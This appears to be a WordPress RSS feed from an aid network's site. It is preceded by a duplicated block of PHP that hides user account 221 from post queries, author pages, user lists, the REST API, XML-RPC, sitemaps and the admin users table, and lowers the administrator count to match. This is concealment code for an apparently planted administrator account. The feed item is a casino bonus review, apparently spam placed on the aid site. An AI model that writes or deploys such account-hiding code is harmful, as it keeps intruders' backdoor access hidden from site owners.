add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 221;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 221;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
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	<title>Casino and Friends &#8211; ConnectAID, the International Solidarity Network</title>
	<atom:link href="https://connectaid.org/category/casino-and-friends/feed/" rel="self" type="application/rss+xml" />
	<link>https://connectaid.org</link>
	<description>ConnectAID is a network of networks dedicated to the SDGs, connecting you to international aid.</description>
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	<title>Casino and Friends &#8211; ConnectAID, the International Solidarity Network</title>
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<site xmlns="com-wordpress:feed-additions:1">219762371</site>	<item>
		<title>A Casino That Actually Treats You Like a Friend? Let&#8217;s See.</title>
		<link>https://connectaid.org/casino-and-friends/a-casino-that-actually-treats-you-like-a-friend-2/</link>
					<comments>https://connectaid.org/casino-and-friends/a-casino-that-actually-treats-you-like-a-friend-2/#respond</comments>
		
		<dc:creator><![CDATA[Gaelle Mogli]]></dc:creator>
		<pubDate>Fri, 31 Jul 2026 12:33:19 +0000</pubDate>
				<category><![CDATA[Casino and Friends]]></category>
		<guid isPermaLink="false">https://connectaid.org/?p=47439</guid>

					<description><![CDATA[You walk into a place called &#8220;Casino and Friends,&#8221; you expect a bit of warmth, maybe a nod to community rather than just another faceless gambling machine. The site at https://casino-and-friends.org.uk/ certainly tries to deliver on that promise. It&#8217;s built on the sturdy SkillOnNet platform, licensed by the UK Gambling Commission, and it packs over...]]></description>
										<content:encoded><![CDATA[<p>You walk into a place called &#8220;Casino and Friends,&#8221; you expect a bit of warmth, maybe a nod to community rather than just another faceless gambling machine. The site at <a href="https://casino-and-friends.org.uk/">https://casino-and-friends.org.uk/</a> certainly tries to deliver on that promise. It&#8217;s built on the sturdy SkillOnNet platform, licensed by the UK Gambling Commission, and it packs over 7,200 real-money games. But does the &#8220;friends&#8221; bit hold up, or is it just branding? I spent serious time digging through the bonus, the loyalty scheme, the game lobby, and the payments to find out.</p>
<h2>The Welcome Bonus: Generous but With a Catch</h2>
<p>New players get 125 free spins on Book of Dead after a minimum £10 deposit. Each spin is worth £0.10. Sounds decent until you see the wagering: 60x. That&#8217;s steep. I cleared it, but it wasn&#8217;t a walk in the park. You have 30 days, and only slots count. Max bet is either 10% of your spin winnings or £5, whichever is lower. Here&#8217;s the exact process:</p>
<ol>
<li>Visit the Casino and Friends site and register an account.</li>
<li>Deposit at least £10 using any accepted method.</li>
<li>Receive 125 bonus spins immediately on Book of Dead.</li>
<li>Wager any winnings 60x within 30 days.</li>
<li>Withdraw your winnings once the wagering is met.</li>
</ol>
<p>Plan ahead. Claim this when you&#8217;ve got time to grind, not when you&#8217;re in a rush.</p>
<h2>Loyalty That Actually Rewards You (Mostly)</h2>
<p>Right from your first deposit, you&#8217;re in the loyalty program. Fifty-six levels, no resets, no dropping down. You climb, and at certain tiers you get prizes. The problem? You never know exactly what you&#8217;re working toward. Rewards include things like:</p>
<ul>
<li>Spin bundles</li>
<li>Bingo tickets</li>
<li>Mystery boxes</li>
<li>Extra spins and deposit bonuses</li>
</ul>
<p>I&#8217;ve also seen seasonal promos and daily tournaments, especially Pragmatic Play&#8217;s Drops &#038; Wins with seven-figure prize pools. The lack of transparency in the loyalty rewards is annoying, but the fact you never lose progress keeps you coming back.</p>
<h2>Games, Payments, and the Fine Print</h2>
<p>With 80 providers, the game library is huge. Pragmatic Play, Play&#8217;n GO, NetEnt, Big Time Gaming, Nolimit City &#8211; all present. I found around 300 Megaways titles, a solid jackpot section (though no Mega Moolah), and handy filters by theme, provider, or star rating. No demo mode, which is a shame, but the search bar is quick and the mobile site works perfectly in a browser.</p>
<p>Payments are straightforward. Here&#8217;s the basics:</p>
<table>
<thead>
<tr>
<th>Method</th>
<th>Min Deposit</th>
<th>Min Withdrawal</th>
<th>Withdrawal Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Visa / Mastercard</td>
<td>£10</td>
<td>£30</td>
<td>1-3 days</td>
</tr>
<tr>
<td>PayPal</td>
<td>£10</td>
<td>£30</td>
<td>Under 24 hours</td>
</tr>
<tr>
<td>Paysafecard</td>
<td>£10</td>
<td>N/A (use bank transfer)</td>
<td>3-5 days</td>
</tr>
</tbody>
</table>
<p>You&#8217;ll usually need to withdraw using the same method you deposited with. Big wins over £5,000 get extra verification, so expect a longer wait.</p>
<h2>Practical Takeaway</h2>
<p>Casino and Friends nails the &#8220;friends&#8221; vibe with a loyalty program that never resets, a massive game selection, and a clean, social-looking design. But the 60x wagering on the welcome bonus is a grind, and the lack of transparency in loyalty rewards keeps you guessing. If you&#8217;re a player who enjoys variety, doesn&#8217;t mind working for bonuses, and wants a UK-licensed site that feels a bit more like a club than a cold portal, this is worth your time. Just don&#8217;t expect the &#8220;friend&#8221; to hand you free money without a fight.</p>
]]></content:encoded>
					
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